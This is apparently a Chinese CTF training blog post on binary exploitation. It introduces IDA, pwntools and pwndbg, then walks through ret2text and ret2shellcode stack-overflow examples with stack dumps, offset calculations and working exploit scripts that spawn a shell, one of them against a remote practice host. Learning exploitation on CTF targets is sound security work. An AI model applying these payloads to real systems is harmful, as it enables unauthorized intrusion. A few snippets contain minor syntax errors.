CTF集训(6)

PWN(2)

工具介绍

IDA

IDA是一个反编译软件。

按住F5可以将汇编反编译成C语言。

右键copy to assembly可以查看C语言对应的汇编代码。

同时,IDA可以保存工程文件。

按住shift+F12,可以列出所有可见字符,双击可以对应的数据节。旁边会标出数据出现的位置,这样就可以顺藤摸瓜找到对应函数。

pwntools

一般来说,需要把python2和3版本都安装。

1
from pwn import *

连接本地程序

1
io = process("./a")

连接远程程序

1
io = remote("localhost", 123)

io是一个进程管道的实例。

接受一行

1
io.recvline()

发送

1
2
3
io.send()
io.send(p32(0)+b"asdas") # 转换成32位数字,字符串前加b表示字节类型
io.send(b"\x0a") # 发送0x0a

发送一行,自动加换行符

1
io.sendline()

pwndbg

后述。

ret2text

如果能控制EIP寄存器,就能覆盖返回的指令地址。对于栈帧结构,我们如果能覆盖return address,就能控制返回地址。

1
2
3
4
5
int main() {
char str[8];
read(0, str, 24);
return 0;
}

那么多余数据就会影响关键结构,导致崩溃。

以例题一为例考察。

先checksec查看类型,是32位小端序并且没有保护。
接下来直接IDA反汇编。关注到这个函数:

1
2
3
4
5
6
7
int vulnerable()
{
char buffer[8]; // [esp+8h] [ebp-10h]

gets(buffer);
return 0;
}

buffer的位置是esp+8,ebp-16。ebp一定指向栈底的return函数。一般直接看ebp的位置就可以确定栈溢出的位置。但是这样确定往往不够精确,我们不妨利用gdb。

1
2
3
4
b(reakpoint) main 在main函数打断点,也可以用地址
r(un) 运行
n(ext) 执行
s(tepin) 单步进入

具体到程序,我们看看运行时候栈的状态:

1
2
3
4
5
6
7
8
00:0000│ esp  0xffffd010 —▸ 0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
02:0008│ 0xffffd018 —▸ 0xffffd038 ◂— 0x0
03:000c│ 0xffffd01c —▸ 0x80485a6 (main+85) ◂— add esp, 0x10
04:0010│ 0xffffd020 —▸ 0x8048668 ◂— dec eax /* 'Have you heard of buffer overflow?' */
05:0014│ 0xffffd024 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
06:0018│ ebp 0xffffd028 —▸ 0xffffd038 ◂— 0x0
07:001c│ 0xffffd02c —▸ 0x80485ae (main+93) ◂— sub esp, 0xc

现在输入AAAAAAAA,再来看看:

1
2
3
4
5
6
7
8
00:0000│ esp  0xffffd010 —▸ 0xf7faf000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1e9d6c
... ↓
02:0008│ eax 0xffffd018 ◂— 'AAAAAAAA'
... ↓
04:0010│ edx 0xffffd020 —▸ 0x8048600 (__libc_csu_init+32) ◂— dec dword ptr [ebp - 0xfb7d]
05:0014│ 0xffffd024 —▸ 0x804a000 (_GLOBAL_OFFSET_TABLE_) —▸ 0x8049f0c (_DYNAMIC) ◂— 0x1
06:0018│ ebp 0xffffd028 —▸ 0xffffd038 ◂— 0x0
07:001c│ 0xffffd02c —▸ 0x80485ae (main+93) ◂— sub esp, 0xc

在IDA中运行发现,有一个后门函数getshell。这样我们写16个A,然后写4个B覆盖掉EBP,最后写getshell的地址。

1
get_shell	.text	08048522	0000002F	0000000C	00000000	R	.	.	.	B	T	.

那么起始地址就是8048522

这样我们找到了payload,然后开始攻击。

1
2
3
4
5
6
from pwn import *
io = process(./ret2text)
io.recvline()
payload = b'A' * 16 + b'BBBB' + p32(0x8048522)
io.send(payload)
io.interactive

就找到了shell.

ret2shellcode

一般来说,方便的后门程序并非时时刻刻存在,常把shellcode写入BSS区或者栈区。

由于the NO-eXecute Bytes(NX)的默认存在,栈内函数往往难以被调用。

另一个保护措施是ASLR(Address Space Layout Randomization),即共享库、栈、堆是否随机化。如果这个开关打开,那么栈和动态链接库的地址会随机进行偏移。其位于/proc/sys/kernel/randomize_va_space

二者导致,栈安全措施更加周到。

pwntools中有shellcraft模块。shellcraft.sh() 就得到了调用的汇编代码,asm会转换为机器码。就得到了shellcode,直接io.send即可。如果攻击64位,则使用shellcraft.amd64.sh()。一般加一句context.arch = "amd64"

看看例题。先checksec,发现有一段RWX,也就是可读可写可执行的区域。进行pwndbg,利用vmmap可以看到此时进程情况,也就是说这段区域内,程序执行者可以执行任何代码。

观察到,主函数有一个未初始化的buf2字符串,双击发现是一个100的全局变量。由于远端服务器ASLR的存在,导致我们难以用栈,所以只能用BSD。

进行分析:

1
2
3
4
5
6
07:001c│ eax  0xffffcfcc ◂— 'AAAAAAAA'
... ↓
09:0024│ edx 0xffffcfd4 ◂— 0x500
0a:0028│ 0xffffcfd8 ◂— 0x9e
... ↓
22:0088│ ebp 0xffffd038 ◂— 0x0

那么距离就是0xffffd038-0xffffcfcc=108

利用IDA分析,我们发现有一个buf2在BSD,地址是0804A080

接下来我们写脚本:

1
2
3
4
5
6
from pwn import *
io = process("./ret2shellcode")
buf2 = 0x0804A080
payload = asm(shellcraft.sh()).ljust(112, 'A') + p32(buf2) //ljust函数,自动填充到长度
io.sendline(payload)
io.interactive()

另一个比较简单的例子是靶场上的shellcode:

1
2
3
4
5
6
7
8
9
10
11
12
13
#include <stdio.h>
#include <unistd.h>
int main(int argc, char const *argv[])
{
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
char shellcode[100];
read(0, shellcode, 100);
puts("shellcode shell go!");
((void (*)(void))shellcode)();
return 0;
}

这个直接注入进去对应的机器码执行即可。

1
2
3
4
5
6
7
from pwn import *
# io = process("./shellgo")
io = remote("everything411.top", 10005)
context.arch = 'amd64'
payload = asm(shellcraft.sh())
io.sendline(payload)
io.interactive()
# CTF

Comments

Your browser is out-of-date!

Update your browser to view this website correctly. Update my browser now

×